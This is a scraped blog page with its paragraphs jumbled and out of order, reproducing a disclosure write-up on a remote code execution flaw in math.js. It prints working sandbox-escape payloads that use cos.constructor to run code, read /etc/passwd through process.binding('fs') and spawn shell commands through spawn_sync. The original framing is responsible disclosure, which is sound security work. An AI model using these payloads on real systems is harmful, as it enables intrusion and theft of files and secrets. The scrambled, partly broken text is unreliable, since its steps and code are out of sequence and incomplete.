evetore.blogg.se

• Js char math code#

a short description of the vulnerability (a remote code execution flaw in mathjs.eval).We contacted him privately through the e-mail address listed on his GitHub profile with the following details: Since we exploited it for fun and have no malicious intents, we took the “white hat” road and reported it to the maintainer. Now that we found a vulnerability and exploited it to the largest extent possible, we had to decide what to do with it. Spawn_sync = process.binding('spawn_sync') normalizeSpawnArguments = function(c,b,a)for(c=0 c return spawnSync('/usr/bin/whoami') Defines spawn_sync and normalizeSpawnArguments (without error handling). This is easier than it seems: you can just take the source code for child_process, remove the code you don’t need (unused functions and error handling), minify it, and run it through the API. If you have experience with Node.js, you may know about child_process, which can be used to spawn processes with spawnSync: we just need to replicate this feature using OS bindings (remember that we can’t use require). We’re almost done: now we need to figure out a way to open a shell and run arbitrary commands. > buffer = Buffer.allocUnsafe(8192) process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096) return buffer For example, we can use process.binding("fs") to read arbitrary files on the OS (with the appropriate permissions):įor brevity, we’ll skip the !calc cos.constructor("code") wrapper, and paste the relevant JS code instead. Though they are not officially documented and are meant for internal usage, one can reconstruct their behaviour from reading through the Node.js source code. Though process.env contains some bits of juicy info, it can’t really do anything interesting: we need to go deeper and use process.binding, which exposes Javascript bindings to the OS.

"PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin", > !calc cos.constructor("return process.env")() However, we could use process, which has a few nifty features: > !calc cos.constructor("return process")() > !calc cos.constructor("return require")() We know that in the math.js environment cos is defined as a function, so we used that: > !calc cos.constructor("return 1")()įrom here we could have simply require-d some native modules and gained access to the OS, right? Not so fast: although the math.js API server runs in a Node.js environment, for whatever reason we couldn’t use require. Therefore, to evaluate return 1, we can use ("return 1")(). However, they can be accessed indirectly: notably, Function can be accessed indirectly as the constructor of an existing function - this was the key intuition that led to discovering the vulnerability.įor example, Function("return 1") can be replaced with ("return 1"). In the math.js environment, these cannot be accessed directly, either because they aren’t defined or because they have been redefined with safe functions. There are four standard ways to evaluate strings in JavaScript: Now that we figured out that there are some sort of restrictions around code evaluation, we had to escape them. Function and setTimeout/ setInterval didn’t work, either: > !calc Function("return 1")Įrror: Undefined symbol Function Step two: exploitation In particular, it seems that eval was replaced with a safe version. While playing around with a wrapper of the math.js API ( ), we discovered that it appears to evaluate JavaScript, though with some restrictions: > !calc cos It is meant to be a guide to finding vulnerabilities, as well as reporting them in a responsible manner. This article explains in short how we found, exploited and reported a remote code execution (RCE) vulnerability.

How we exploited a remote execution vulnerability in math.js How we exploited a remote code execution vulnerability in math.js